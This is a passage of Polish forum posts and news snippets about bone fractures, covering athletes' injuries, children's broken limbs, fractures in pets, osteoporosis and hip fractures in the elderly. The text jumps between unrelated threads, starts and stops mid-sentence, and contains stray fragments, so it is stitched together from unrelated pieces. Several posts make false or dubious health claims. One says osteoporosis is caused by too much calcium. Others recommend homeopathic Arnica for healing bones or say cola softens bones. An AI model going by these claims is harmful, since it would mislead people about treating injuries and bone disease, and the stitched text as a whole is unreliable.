niepotrzebny zament pisząc że Dawid nie złamał nogi, albo że złamał.
Najnowsze wiadomości "sport.wp.pl/kat,33558,title,Dawid-Murek-
juz-po-operacji,wid,11753706,wiadomosc.html?ticaid=193f9" pokazują
że Dawid miał złamanie otwarte to zresztą było widać, bo tak wygięta
noga mogłaby wyglądać tylko po złamaniu kości.

chyba nie wiesz o czym mowisz
Widzialem walke i dobrze ze sie stalo ze to przewano. To nie
stany gdzie bokser po 10 latach boksowania to fizyczny wrak.
Jamajczyk stracil panowanie nad ruchami, byl bezwladny.
Michalczewski mogl z nim robic co chcial. Przeciez to by sie
moglo zle skonczyc. Jamajczyk wczesniej przez 3 rundy
otrzymywal niesamowute czyte ciosy w glowe. Sedzia mial prawo
sie obawiac, ze w tej sytuacji, nie wiedzac w jakim stopniu
poprzednie ciosy wplynely na stopien kontaktu Halla z
rzeczywistoscia, ze ta seria Michalczeskiego moze uszkodzic
rywala. Nie mial wyboru, ja tez wolalbym widziec Halla na
deskach, ale nie zawsze stojacy bokser jest w stanie prowadzic
bezpieczna dla siebie walke.

Co do urazu Michalczewskiego. Nie zdziwilbym sie gdyby sedzia
to przerwal i dla technicznego hallowi. Jednak od gdzies 5
rundy Polak udowodnil ze kontroluje sytuacje i jest w stanie
walczyc na jedno oko. Tym bardziej ze to byla niegrozna
opuchlizna policzka (raczej nie doszlo do zlamania kosci
policzkowej, a jesli, do naszo-niemiecki Tiger-Tygrys to
prawdziwy buldozer)

Gość portalu: Lea napisał(a):

> Prześwietlenie nie wykazało złamania żadnej kości, ale kolano jest mocno
> opuchnięte. Miałam przeczucie, że Dudek wkrótce wróci do pierwszego składu
The
> Reds, choć nie przypuszczałam, że w takich okolicznościach...

No i oby tą szanse wykorzyształ!

STRASZNE!!! Na razie typową kontuzją po dopingu jest zerwanie
mięśni (grup włókien), zerwanie ścięgien i przyczepów ścięgien.
Pseudo-lekarze sportowi opanują ten problem, podadzą nowy koks i
kolejnym typem kontuzji będzie złamanie kości, które nie
wytrzymają anormalych przeciążeń. Będą rekordy, będą złamane
kości (może wyjdą na zewnątrz przez skórę) - będzie zwiększona
oglądalność. Panie Pawle!!! Dotychczas byłem wielkim kibicem Pana
i Pana kolegów (sztafety!!!) - teraz widzę, że nie będzie komu
kibicować. Może znalazł Pan takie złote myśli w jakiejś siłowni???

Po pierwsze kopnęła to trochę zbyt szerokie pojęcie, bo pewnie Powell ledwie to poczuła, to bardziej zahaczenie czy poszturchnięcie. Oczywiście, za takie rzeczy wylatuje się z boiska, bo są niedopuszczalne.

Natomiast uszkodzenie oka i złamanie kości twarzy za byle poszturchnięcie to znak, że ktoś powinien być odsunięty od rywalizacji sportowej i tyle.

Takie faule i upadki często kończą się poważnymi złamaniami (w NBA widziałem to dwa czy trzy razy) - swoją drogą dlaczego by automatycznie nie podciągnąć tego pod rasizm, tylko że w drugą stronę? Byle stuk puk i od razu rasizm? Nawet jeśli, to po prostu tego nie możemy wiedzieć. Inaczej trzeba by przyjąć, że w większości spotkań NBA nie ma fauli i przepychanek, bo przecież białych prawie tam nie ma... A ostatnio tłukli się i na trybunach.

Uwazajcie z tanszymi fotelikami. Moja coreczka (wtedy 2 lata) w takim wlasnie
foteliku "no name" jechala rok temu z Tata na rowerze i przewrocili sie,
wlasciwie z pozycji stojacej, bez specjalnego impetu. Mala miala tak
skomplikowane zlamanie reki, ze w jednym szpitalu w ogole nie wiedzieli, co z tym
zrobic (klinika AM!!), a w drugim spedzilysmy przwie 2 tyg. na wyciagu (+nastepne
3 tyg. w "kaftaniku" gipsowym w domu). Lekarze z innych oddzialow po obejrzeniu
zdjecia RTG przychodzili zobaczyc dziecko, bo nie mogli uwierzyc, ze mozna sobie
w tak paskudny sposob rozkawalkowac kosc ramienia. I choc teraz juz wszystko jest
dobrze, reka jest sprawna i rosnie normalnie (zlamanie w poblizu chrzastki
odpowiedzialnej za wzrost kosci - byla obawa, ze reka nie bedzie rosla jak
nalezy), choc mieszkamy w miejscu wymarzonym do rodzinnych wypraw rowerowych -
poczekamy z nimi, az Mala zacznie sama jezdzic na 2 kolkach.
Z drugiej strony - moze firmowy, bardziej zabudowany po bokach fotelik lepiej
ochronilby raczke. Nikomu nie zycze sytuacji, w ktorych musialby sie o tym
przekonac. Pozdrowienia

Złamanie kości czołowej głowy
Moje dziecko majac 1,5 roku miało złamanie kosci czołowej głowy. Naszczescie
nie było zadnego krwiaka ani uszkodzenia mozgu, ale 2 tygodnie lezała na
neurochirurgi. Potem przez jakis czas musialam jezdzic z nia na EEG i podobne
badania, a potem raptem wszystko przerwano, czy nie myslicie, ze....moze za
szybko, ta opieka zostala wstrzymana, czy nic sie nie ujawni w
przyszłosci..., teraz lidka ma 2,5
Pozdrawiam

i jeszcze mi się przypomniało
jak moja siostra sonie coś z nogą zrobiła (a to dzicko jeszcze było wtedy) i
wylądowałyśmy na pogotowiu to pan doktor, Potapa bodajże, stwierdził załamana
ale on nie założy gipsu, trzeba jechcać do szpitala. Po kłótni zdecudował się
usztywnic nogę szyna bo ten szpital to jednak daleko. Ale się okazało, ze na
pogotowiu szyny brak!!! Więc inny pan wygrzebał szynę z karetki, ale była 2x za
długa. Nic to.
W szpitalu inny pan doktor, chirurg stwierdził, że to nie złamanie, tylko jakis
kawałek kości w stopie sie doszczepił i jak dziecko poleży 3 dni z noga w górze
to na swoje miejsce samo wróci. Na szczęście tak się stało :)

inną razą pan doktor na zdjęciu rtg nie zauważył złamania mojej ręki
a ewidentne było :)

Gość portalu: ania br* napisał(a):

> a ja wole Cole
> pepsi jest za bardzo gazowana i nie tak slodka jak cola. no i w coli maja
fajne
>
> promocje, mozna dostac misie i szklanki.
> choc pepsi ma lepsze reklamy w tv..

....choc cola jest szkodliwsza.... mowie wam! juz lepiej se za 3 zeta kupcie
2litrowy sok! napijecie sie wiecej i nie bedziecie sie tak truli! jak bedziecie
pic cole to na starosc bedziecie miec miętkie kosci... a wtedy nie trudno o
zlamanie....

jeżeli uważasz, że masa dziecka ok. 4kg jest wskazaniem do cesarki to obawiam
się że możesz się mocno mylić. z tego co mi wiadomo poród fizjologiczny jest
"najzdrowszy" dla dziecka i matki (wbrew plotkom) a złamanie obojczyka jest
powikłaniem po porodzie, które zawsze się moze zdarzyć (nie wynika ze złej woli
a z tego że kość obojczyka najszybciej w rozwoju "kostnieje" co ułatwia uraz. i
coś mi się wydaje że duza ilość zakażeń w szpitalu wojewodzkim nie musi wynikać
z "brudu", a z tego, że tam się "zwozi" wszystkie chore noworodki z regionu
elbląga (to tak jakby sądzić, że na oddziale zakaźnym wszyscy pacjenci przyszli
zdrowi, a potem zostali zakażeni żółtaczką - a przecież z powodu tj choroby tam
trafiają). Myślę, że pozornie nie ma zakażeń na żeromskiego czy w wojskowym
szpitalu u noworodków, bo jeżeli są jakiekolwiek ich cechy u dziecka do się je
wiezie do wojewódzkiego.

Zabawa na kursie była przednia, w dodatku połączona z niesamowicie przydatną
wiedzą! Dziękujemy organizatorom (Kaza - uśmiech w Twoją stronę ;)) za
inicjatywę, instruktorom za poprowadzenie szkolenia i miłą atmosferę oraz
niezapomniane wrażenia z pozoracji!
Oby żadne łuki brwiowe ani złamania kości przedramienia nie były już powodem
zgonu! ;)
pozdrawiam
<><

Jolu, nasza pani doktor ostatnio powiedziała nam, że Polskie Towarzystwo
Pediatryczne szykuje zmianę zaleceń w tym zakresie. Podobno zalecane będzie aby
podawać dzieciom wit. D do conajmniej 15 roku życia!!Badania i statystyki
dowodzą, że dzieciaki są coraz bardziej podatne na złamania i schorzenia kości.
Byłam w szoku. A swoją drogą bardzo wielu rodziców z różnych względów (albo nie
mają kasy, albo zapominają albo poprostu nie przywiązują do tego wagi) nie
podaje wit. D nawet kilkumiesięczniakom. Może to oni podciągają te
statystyki??!!
Pozdrowienia

Co Wy wiecie o osteoporozie? ;-)
brenya napisała:

> I tu nie masz troszke racji. Kosciec tworzy sie do ok. 30 roku zycia, wiec na
> zdrowy rozum dopoki ten proces trwa nalezy dostarczac organizmowi jak
> najwiecej wapnia. Im wiecej wapnia, tym kosci i zeby twardsze i zdrowsze na
> stare lata.

Nie wiem, czy wogóle wiecie, o czym prowadzicie dyskusję? Sorry, ale
osteoporoza nie polega na tym, że jest zbyt mało wapnia, ale właśnie ZBYT DUŻO!
Kości składają się nie z samego wapnia, ale również z koleganu - elastycznego
białka. Osteoporoza polega na tym, że włąśnie tego białka jest za mało, a
wapnia zbyt duzo, co powoduje, że kości są ZBYT TWARDE, a co za tym idzie,
kruche i podatne na złamania.

sanvean

Złamania miednicy bez przemieszczeń u zwierząt pozostawia się do
samozrośnięcia -
dlaczego? Gdyż po zabiegu często ograniczanym możliwościami fizycznymi – wcale
nie jest łatwo poskładać kości miednicy operacyjnie u kota – ból w trakcie
rekonwalescencji będzie silniejszy niż ból spowodowany złamaniem. Zabiegi w
obrębie miednicy sa bardzo urazowe , dostęp do operowanych kości jest bardzo
trudny , a więc i uszkodzenia powodowane przez chirurga w trakcie składania
kości miednicy często przewyższają uszkodzenia związane ze złamaniem – trzeba
odpreparować dużo tkanek , mięśni , często usuwać fragmenty koścca miednicy,
wiercić otwory instalować implanty i stalowe płytki, to wszystko sprawia , że
w przypadkach gdy nie dochodzi do poważnego zniekształcenia obręczy
miednicznej , pozostawiamy zwierzę bez zabiegu tylko pod osłoną leków
przeciwbólowych ale zazwyczaj tylko krótko po urazie.
To oczywiście też ma swoje przyczyny – zwierze nie zrozumie , że nie może
chodzić by nie powodować dalszych uszkodzeń, powstrzymać je może przed tym
tylko ból – wiem że to okrutne ale prawdziwe, my potrafimy zrozumieć że czegoś
nam nie wolno , zwierzęta nie.
Pozdrawiam

PS poproście swojego lekarza o leki przeciwbólowe na pierwszy okres gojenia
się złamanej miednicy , o ulży trochę cierpieniom zwierzęcia.

Jak najbardziej takie przypadki zdażają się bardzo często zwłaszcza w przypadku
psów długo ogoniastych, które często wyrażaja swoje szczęście wymachujac nimi
podcinając okolicznych ludzi :))). Ale opuchlizna nie musi oznaczać od razu
złamania być może poprostu w coś mocniej walnoł, może ktoś nadepnął mu na ogon
lub przytrzasął mu je drzwiami??? Czy bardzo go boli, czy rusza ogonem jak
wcześniej. Czy przy dotyku wykazuje jakieś oznaki bólu, nie pozwala sie do
niego dotknąc. Ostateczną diagnozę postawi jednak tylko rtg ale na ogół nie
wykonuje się ich ze wzgędu na to, że w przypadku złamań ogona postępowaniem
jest na ogół nieoperacyjne lub w cięzszych przypadkach wykonywana jest
amputacja części ogona - powyżej złamania. Ważne jest jednak uszkodzenie nerwu
ogonowego, czy pies normalnie wypróżnia się, czy ma czucie skóry w okolicach
odbytu???? dotknij tam, możesz uszczypnąć jeśli zobaczysz reakcję wsztsko jest
w porządku ale nie powinnaś się tym martwić jeśli "złamanie" jest na końcu
ogona.
Na Twoim miejscu nie denerwowałabym się tylko poczekała, aż opuchlizna zejdzie.
Kość nawet jeżeli jest złamana nie powinna dawać intensywnego bólu i na ogół
zrasta się sama. Poprostu pies zostaje potem z lekko zakrzywionym ogonem lub
nawet nie bądź ewentualnym zgrubieniem. U większości psów takie złamania nie są
nawet zauważane przez włascicieli.
Ale może to poprostu stłuczenie i tego Wam życzę - ava

Witam.
Nie ma jednego ogólnego schematu postepowania w złamaniach kości miednicy, gdyż
każdy przypadek nalezy rozpatrywać indywidualnie. Niektóre złamania miednicy
można składać i unieruchamiać poprzez interwencję chirurgiczną. Ale wiele
złamań miednicy nawet tych wieloodłamowcyh u małych psów zrasta się bez
interwencji chirurga. Najlepiej , aby zdecydował o tym ortopeda na podstawie
badania klinicznego psa oraz zdjęcia RTG. W tym celu nalezy na czas przynamniej
kilku tygodni zapewnić zwierzęciu znaczne ograniczenie ruchu. W zależności od
danego przypadku rokowania są różne, ale jet mozliwe, że miednica się zrośnie
na tyle dobrze, aby pies mógł dobrze sobie radzić, chodzić , a nawet biegać.
Zalecony olej parafinowy powinien ułatwić oddawanie stolca, ale jeśli będą z
tym problemy to trzeba to konsultować z lekarzem prowadzącym. Dodatkowo nalezy
podawać pokarm w postaci papkowatej, a porcje powinny byc mniejsze , ale za to
częściej podawane. Co do cewnikowania, to przede wszsytkim należy się upewnić,
czy pęcherz moczowy nie został uszkodzony podczas wypadku. O konieczności
ewentualnego cewnikowania powinien także zdecydować lekarz prowadzący.
Pozdrawiam i powodzenia w leczeniu psiaka - Gagik

koszemelok1 napisał:

> wiadomosc z ostatniej chwili baszczynski ma peknieta jakas kosc w stopie i
nie
> bedzie grac .wiec sprzedawac poki cena jeszcze dobra!!!!

Przed chwilą na Onecie wyczytałem , że to jest jednak tylko stłuczenie a nie
złamanie jak początkowo myśleli ( poparte ponoć prześwietleniem ). Ale i tak
czeka go przerwa w grze.

Grupa Podhalańska GOPR pomogła starszej kobiecie, która doznała złamania kości
podudzia. Wypadek zdarzył się nie w górach, ale... w Rabce. Zimą GOPR często
dociera tam, gdzie z powodu zaśnieżonych dróg nie jest w stanie dojechać
karetka. Czasami GOPR wyręcza pogotowie....

- Takie sytuacje zdarzają się nie tylko w wysoko położonych niedostępnych
przysiółkach w Gorcach czy u podnóża Pienin, ale także w miastach, na
oblodzonych stromych drogach. Do interwencji jeździmy landroverem, quadem lub
skuterem śnieżnym, w zależności od warunków - mówi Mariusz Zaród, naczelnik
Grupy Podhalańskiej GOPR. Ubiegłej zimy ratownicy ponad 50 razy pomagali
pogotowiu. Interweniowali m.in. w rejonie Lubonia Wielkiego, Szczawnicy,
Ochotnicy Dolnej i Górnej. Wzywani byli nawet do Pcimia oraz do Łętowni.
Donosili również żywność i leki do jednego z domostw położonych w Gorcach nad
Ochotnicą Dolną. Mieszkający tam starsi ludzie nie byli w stanie przedrzeć się
przez zaspy do wsi.
zamarł za to ruch turystyczny w Gorcach i Pieninach. Jeszcze w ubiegłym
tygodniu, po nagłych opadach śniegu, ratownicy wezwani zostali na czerwony
szlak pomiędzy Turbaczem a Tobołowem. Przetransportowali do Koninek
dziewczynkę, która nie miała siły iść dalej.

Od początku roku ratownicy Grupy Podhalańskiej GOPR interweniowali w Gorcach,
Paśmie Policy i Pieninach 665 razy.(AGN)

Rączka w gipsie
Pierwsza diagnoza: pęknięcie kości w stawie łokciowym, założony półgips; dziś
na kontroli (po 5 dniach) nowa lekarka postawiła nową diagnozę: nie
pęknięcie, tylko jednak złamanie, ręka ma być w normalnym gipsie 3-4
tygodnie. Więc Julka wraca jutro od babci, cd. leczenia na Litewskiej. A ja
oczywiście widzę już oczyma wyobraźni wszystkie możliwe komplikacje i
powikłania (prawa ręka! staw łokciowy! miesiąc w gipsie! – na pewno trzeba
będzie potem długiej rehabilitacji...) Pocieszcie mnie, podzielcie się
doświadczeniami z Waszymi połamanymi przedszkolakami. No właśnie, a jak to
będzie w przedszkolu??? Jestem przerażona...

Nie przejmuj sie i miej nadzieje ze wszystko bedzie dobrze. Moj synek w wieku 4
misiecy spadl z przewijaka ok. 120 wysokosci. Zlamane przedramie. Reka na
stelazu/temblaku miala bys ok 4 tygodni. Po 10 dniach i przeswietleniu w
szpitalu okazalo sie ze wszystko bylo ok. Na prawde. Cudownie sie te dzieciaki
zrastaja. U synka znajomych dopiero po kilku latach odkryta przy zupelnie innym
przypadkowym rentgenie stare zlamanie o ktorym rodzice nie mieli zupelnie
pojecia. A znajomi porzadni ludzie i nie sadze zeby zaniedbywali dzieci. Co
prawda staw to nie prosta kosc ale wiesz mi ze bedzie dobrze.
Galleta

złamanie kości udowej
Witam,
kochani mja córka w sierpniu na wkacjach złamała spiralnie kość udową, Po
operacji została przewieziona do miejsca zamieszkania i przebywa w opatrunku
gipsowym.

Proszę o kontakt rodzców dzieci z podbnym schorzeniem, chciałabym wiedziec
jak i gdzie wasze dzieci były rehabilitowane po zdjęciu gipsu czy w domu czy
w szpitalu, czy tez może jeżdziliście do poradni rehabilitacyjnej.
ja mam się zgłosić do szpitala w połowie pażdziernika ale już całkiem
zgłupiałam bo w poradni przy szpitalu za każdym razem jest inny lekarz i mówi
zupełnie coś innego niz jego poprzednik a wszyscy wyrażają zdiwienie , że
noga nie jest na wyciągu.
Córka złamała noge na wakacjacj 300 km od miejsca zamieszkania i nie
wyobrażam sobie jej pobytu przez 6 czy 8 tygodni tak daleko od domu (ma 8 lat
)
mam watpliwosci i chciałabym się dowiedziec czy możliwa jest rehabilitacja
dziecka w domu ( ma unieruchomione 3 stawy w stopie w kolanie i biodrowy)
Czy robi sie to tylko w szpitalu, moim zdaniem w szpitalu chyba jest lepiej
bo zrobia to fachowcy (przynajmniej przez pierwszy okres po zdjeciu gipsu)
ktos mi powiedzial ze moze być wtórne złamanie.
Prosze o jakies info i uwagi, bo juz naprawdę nie wiem co o tym mysleć, na
początku w szpitalu powiedziano ze rehabilitacja będzie w szpitalu, teraz coś
mówią o dowożeniu na ćwiczenia.

Dodatkowo pytanie jakie badania należałoby zrobić pózniej żeby np wykluczyć
wady w budowie kości.

Pozdrawiam
Asia

Witaj
Przepraszam,
Nie wiedziałam o jaki rodzaj rehabilitacji chodzi.
Myślałam ,żę dla starszych dzieci, moja córka miała tam gimnastyki korekcyjne w
wieku 4 lat i rehabilitacje po urazie - złamanie kości udowej.

Przepraszam ,żę wprowadziłamw błąd.
Asia

danetdd napisała:

> Witajcie!!! Bardzo Was proszę o pomoc, bo zwariuję!!!Mój 6-cio letni syn od
> piątku zaczął kaszleć, ma katar i niewielką gorączkę, maksymalnie miał 38,5 w
> niedziele. Poszłam do lekarza i powiedziała, że to od kataru tak kaszle,
> dodam, że teraz aż wymiotuje jak Go chwyci atak kaszlu. Przepisała mi
> antybiotyk Unidox i jakiś spray do nosa.

Boze drogi... to dla dziecka ten Unidox???!!! To jest rozpuszczalna forma
doxycycliny, nie wolno dzieciom tetracyklin podawac!!!!! Absolutnie tego
dziecku nie dawaj!!!! Oskarzylabym te lekarke o blad w sztuce. Ten antybiotyk
EWENTUALNIE mozna dziecku podac gdy nic innego nie dziala a stan jest powazny -
wtedy korzysci przewyzaszja ryzyko. Tetracykliny uszkadzaja rosnace kosci - i
do zakonczenia okresu wzrostu (16-18 rok zycia) nie wolno ich podawac. Nie jest
to dzialanie niepozadane ktore moze wystapic tylko takie ktore ZAWSZE
wystepuje. Poczatkowo po wprowadzeniu do lecznictwa tetracyklin o tym nie
wiedziano - i podawano te zwiazki takze dzieciom. Mojemu mezowi w okresie
dziecinstwa 2-3 razy podano oxyterracyne - dzis ma zeby w strasznym stanie
(wlasciwie prawie juz ich nie ma), od 14 roku zycia zlamania i bole kosci to
dla niego codziennosc - kosci ma kruche jak zapalki, wystarczy ze uderzy
piescia w stol czy zeskoczy ze stolka a juz jest zlamanie.
Jak slowo daje, nie puscilabym tego plazem tej lekarce.
Natychmiast odstaw dziecku to swinstwo.

Aga

> Ciekawe dlaczego kobietą nie pękają czaszki przy porodzie ???????
Przypuszczam, ze ma to związek z tym, że żadna z nas Zeusem rodzącym Atenę nie
jest i że nie przez czaszkę te dzieci się rodzą, bo gdyby tamtędy maluszki się
na świat przepychały, to coponiektórym mamusiom czaszki by jednak pękły

A co do samego pękania kości - nie sądzę, by było to spektakularne złamanie, w
rodzaju trzaskających otwartych złamań. Tyle że szczęka malutka, twarde ząbki
się nie mieszczą, jedna kość zaczyna ugniatać drugą itp. A czy nie zetknęliście
się z dorosłymi, którym trzeba część stałych zębów wyrywać, bo się w szczęce
nie mieszczą? Bo ja zetknęłam. Ponoć gdyby nie wyrwano, to albo by super krzywo
reszta rosła, albo by część kości jednak trzasła...

zlamana noga
kochane dziewczyny w ramach wiosennego remementu ciala ruszylam na
rolki- mialo byc to z pozytkiem dla zdrowia i urody- skutek- zlamanie
kosci piszczelowej i strzalkowej w okolicy stwu skokowego,3 godzinna
operacja i gips na minimum 6 tygodni- prosze poleccie jakas dobra
diete ktora wplywala by korzystnie odbudowe kosci i szybsza
rekonwalescencje?

Hmm... to moze napisze od poczatku jak to bylo. Nabawilam sie tego podobnie -
po prostu upadlam, przewrocilam sie na progu i upadajac widzialam jak jakas
kosc z kolana mi wyskakuje. Nawet nei bolalo, natomiast bol pojawial sie w
momencie proby wyprostowania tej nogi... lekarz z pogotowia stwierdzil
zlamanie z przemieszczeniem, powiedzial ze conajmniej 2 tygodnie posiedze
wszpitalu, zawiozl karetka do szpitala gdzie stwierdzono zwichniecie
rzepki...nastawili recznie, wsadzili cala noge w gips i 6 tygodni swietego
spokoju. Ale od razu powiedzieli, ze to mi sie bedzie powrtacalo, ze juz moge
uwazac ze mam nawykowe zwichniecie, bo mam jakastam wiotkosc stawow czy cos i
nie ma szans unikniecia tego. Teraz z tydzien temu zdjeli mi gips i ucze sie
chodzic... lekarz kazal cwiczyc jakistam miesien probujac rozrostowywac noge w
wannie pelnej wody i to wszystko... a ja mam kolano opuchniete tak, ze blokuje
to kazda probe wyprostowania, chodzic moge tylko na prostej nodze bo boli jak
nie wiem co... chodzac tez caly czas mi sie ta rzepka przesuwa... nie wiem...
Mam na cale zycie zakaz forsowania tej nogi, jezdzenia na rowerze, motorze,
uprawiania sportow ktore kocham i nie wyobrazam sobie bez nich zycia,
imprezowania, intensywnego chodzenia... ehh...
Operacje bede miec jak mi sie to jeszcze raz powtorzy... a powtorzy sie bo ta
rzepka mi ciagle przeskakuje, nawet jak tylko probuje cwiczyc noge tak jak mi
kazali...
Kolanko boli na kazda zmiane pogody... :)
a jak u Ciebie? Daje sie z tym w miare normalnie zyc, czy caly czas w leku ze
cos sie znowu stanie?
Pozdrawionka :-)

Napisalem: NAJCZESCIEJ, a nie ZAWSZE. Wyciag miedzyszczekowy (i okres unieruchomienia) zalezy od tego, czy
po przecieciu kosci (czyli tym wytworzeniu "zlamania") odlamy laczy sie np. miniplytkami (mikroplytkami), czy robi
szew kostny z drutu. Wiazanie miedzyszczekowe wyglada w ten sposob, ze do wszystkich zebow szczeki i
zuchwy dowiazuje sie druciane szyny , ktore pootem laczy sie ze soba (tzn. szczeke i zuchwe) drutem (rzadko i
zwykle przez pierwszych kilka dni) lub gumowymi krazkami (wyciag elastyczny). Sa oczywiscie inne sposoby
unieruchomienia zuchwy, rozne rodzaje szyn (te druty to tylko przyklad). Jezeli odlamy kostne zespala sie wlasnie
plytkami w czasie operacji rzeczywiscie czas utrzymywania wyciagu miedzyszczekowego jest symboliczny (o ile w
ogole jest). Dlatrgo o szczegoly pytaj chirurga, ktory ewentualnie mialby operowac, bo decyzje odnosnie zespolen i
unieruchomienia beda nalezaly do niego. Ja nie neguje sensownosci zabiegu (patrz: opinia ortodonty o swietnych
wynikach leczenia) tylko reprezentuje punkt widzenia chirurga.

Albo biegasz po zbyt twardej powierzchni. Byly przeciez opisane przypadki
zlamania kosci podudzia u rekrutow po wielogodzinnych marszach po asfalcie lub
betonie. Wibracje powstale po uderzeniu stopy o twarda nawierzchnie oslabiaja
kosci. Moze to wlasnie w tym kierunku u ciebie idzie.

Na 99% nic sie nie stalo. To typowe, ze dzieci ze strachu
wstrzymuja oddech, niektore nawet potrafia zemdlec z
powodu niedotlenienia, nie tylko zsiniec. To nic
groznego, omdlenie powoduje, ze automatyka osrodka
oddechowego znowu przejmuje kontrole, dziecko zaczyna
oddychac i wszystko sie uspokaja.
Upadki na glowke, nawet te z przerazajacym hukiem, zwykle
koncza sie dobrze. Zwykle zdjecie rentgenowskie czaszki
niewiele wnosi, bo kosci jeszcze nie sa ostatecznie
uwapnione, zreszta rentgen czaszki w ogole jest trudny do
interpretacji. Polozyc takiego malucha do tomokomputera
to tez nie lada zadanie- nie ulezy bez ruchu, wiec trzeba
by mu podac cos na uspokojenie, co moze utrudnic dalsze
postepowanie.
Dlatego postepowanie jest takie, jak w Twoim przypadku:
jezeli dziecko od razu po upadku zaczelo plakac (czyli
nie stracilo przytomnosci. Brak kontaktu sie nie liczy-
dziecko jest tak zaskoczone bolem, ze nic do niego nie
dociera), a w badaniu klinicznym nie ma podstaw do
niepokoju (brak objawow zlamania czaszki, czyli nie ma
zasinien, lima, wycieku krwi lub plynu mozgowo-
rdzeniowego z ucha lub z nosa, ciemiaczko normalne, jesli
jeszcze jest. Brak objawow wstrzasnienia mozgu, czyli
wymioty, sennosc, swiatlowstret), to odsyla sie dziecko
do domu z zaleceniem scislej obserwacji, nawet budzenia w
nocy co jakies 2 godziny. Dopiero gdy dziecko sie
pogarsza w czasie tego okresu obserwacji, szuka sie
dalej. Zwykle nazajutrz dzieci juz nie bardzo pamietaja
gdzie sie uderzyly.
Czlowiek jeszcze nie tak dawno "zszedl z drzewa". To
zadziwiajace, jak mlode naszego gatunku sa przystosowane
do znoszenia upadkow.

PZDR

Zlamanie panewki stawu biodrowego
Moja matka(75 lat) doznala tego urazu po upadku na lewy bok.Zdjecie RTG wykazalo zlamanie panewki - szyjka kosci udowej jest podobno cala stad nie ma przeslanek do zastosowania endoprotezy.Na czym polega leczenie tego zlamania ? Tymczasem lezy (oczywiscie w szpitalu) i wlasciwie nic wiecej.
Nie zastosowano usztywnienia wyciagu ani innych znanych mi metod.
Ma sie nastawic na ok 7 tygodni lezenia prawie bez ruchu.
Martwie sie bardzo gdyz nie jest w najlepszej kondycji.

Witam.

Wlasciwie w Twoim poscie jest i pytanie, i odpowiedz. W zlamaniu panewki stosuje sie wyciag, jesli glowka kosci udowej przemiescila sie i tkwi wewnatrz miednicy. Tak dzieje sie wlasciwie zawsze- miesnie uda ciagna za kosc udowa, wciskajac ja w panewke. Jesli w dodatku zlamanie jest wieloodlamowe, to istotnie wyciag bedzie metoda leczenia z wyboru u osoby starszej i w zlym ogolnym stanie. Alternatywa jest rekonstrukcja panewki metalowymi plytkami, ale to trudna i rozlegla operacja, ktora przetrzyma 20- latek, ktory przewrocil sie na motorze, ale dla starszej pani to juz powazne ryzyko. Byc moze odstapiono od wyciagu, bo przemieszczenie jest niewielkie i nie grozi jego poglebienie.
Dlugotrwale unieruchomienie w lozku samo w sobie jest ryzykowne. Nalezy pamietac o profilaktyce odlezyn i zakrzepicy zylnej, a takze dbac o higiene ukladu oddechowego (regularnie cwiczenia oddechowe, chocby najprostsze- pare glebokich wdechow, odkaszlnac, powtorzyc).

PZDR

Lampa Bioptron i zlamania
Czy naswietlanie Bioptronem przynosi jakies zbawienne skutki w przypadku
zlaman kosci ? Moja mama ma zlamana panewke stawu biodrowego wyglada na to ze
wszystko ladnie sie zrasta(jeszcze nie moze obciazac nogi) czy mozna
przyspieszyc jakos ten proces np naswietlajac lampa ? a moze ta lampa to
jakas "sciema" albo co gorsze potrafi zaszkodzic ?

Poprzednik ma racje... kupilem ta "latarke" od zeptera i na nic mi nie pomogla.
Ja mialem bliską przypadłosc bo zlamanie glówki kosci udowej a wiec ta ktora
miesci sie w panewce i ani mi nie zaszkodzila ani nie pomogla. Przez rok czasu
pozyczalem ja znajomym i nikomu na nic nie pomogla... to naprawde sciema !

W sumie wszystko sie zgadza. Kobieta 70- letnia zwykle ma osteoporoze i nie jest
niezwykle, ze zlamie i zapadnie sie jakis krag. To nie jest niebezpieczne, tylko
bolesne. Oczywiscie, jesli wystapia objawy ucisku na korzonki nerwowe, to inna
rozmowa, ale poza tym leczenie przeciwbolowe i wszystko sie uspokoi. Ryzyka
przemieszczenia nie ma. Gorset nie jest dobrym rozwiazaniem- wprawdzie zmniejsza
bol, ale oslabia jeszcze bardziej miesnie i usposabia do zlaman w przyszlosci. W
dodatku krepuje ruchy i moze doprowadzic do upadku, a przy osteoporozie wtedy
zlamanie szyjki kosci udowej jest prawie pewne.

Co robic? Teraz juz niewiele. Odbudowac kosc bedzie trudno. Zadbac o dostatek
wapnia w diecie, ortopeda moze tez zalecic leki hamujace odwapnienie kosci, ale
one sa klopotliwe w przyjmowaniu i maja wlasne dzialania uboczne.

Jest jeszcze metoda leczenia zapadnietych kregow, jesli dawalyby objawy: do
zapadnietego kregu wstrzykuje sie zywice, rodzaj plexi i w ten sposob wzmacnia
krag. Ale to robi sie wlasnie przy objawach uciskowych lub duzego inwalidztwa
(garb).

No na swędzenie to ja Ci nie pomogę i na naukę też nie:(. Ale możesz sobie
kupić w aptece lek homeopatyczny ARNICA MONTANA (z numerkiem od 9 do 30,
wyższych potencji bez konsultacji ze spacjalistą nie radzę) i brać go przez 3-4
dni po jednej granulce na dobę, a potem tak raz na tydzień. Świetnie działa na
urazy mechaniczne skóry i kości. Ewentualnie zakup sobie buteleczkę dagomedu na
potłuczenia i złamania, chyba taka jest. Artur się wypowie, ale co mi tam:)

A w kwestii swędzenia... Był taki film z Meg Ryan "Addicted to love"
(chyba "miłość jak narkotyk") i tam jest taka scena, w której facetowi
uczulonemu na truskawki trochę soku wpływa pod gips:) albo jakoś tak. Może to
Cię pocieszy...

16%VOL
22%VAT

Niestety nieprawda. Tę statystykę dotyczącą związku palenia i raka widać gołym
okiem. Częsta sprawa. Mojej jednej koleżanki (onkologa!) ojciec (lekarz) po 40
latach palenia umierał w jej własnej klinice. W banalnym wypadku komunikacyjnym
połamał się bardziej niż można się było spodziewać po sile urazu. Diagnoza:
złamanie patologiczne z powodu przerzutów do kości. Kaplica. A ile się jeszcze
nacierpiał.
Drugiej koleżanki ojciec, nie taki stary, całkiem sprawny, palił długie lata,
rzucił dwa lata temu. Właśnie mu rozpoznano raka płuc w ostatnim (4.) stadium.
Szanse: zerowe.
A w stresie i w tym, co fruwa, żyje większość ludzi i większość jednak na raka
nie choruje.

> Dziękuję, że poświęciłeś mi aż dwie odpowiedzi.

Ewa, nie przesadzaj, jeszcze nie wszystko wyjasnilismy, dlatego. :-)

> znam osoby, które bardzo się boją o zwykłe
> zapalenie oskrzeli, a to był upadek ze sporej wysokości i stąd te obawy

No to nie jest tak zle. Zapalenie oskrzeli to wiekszy powod do obaw niz upadek z
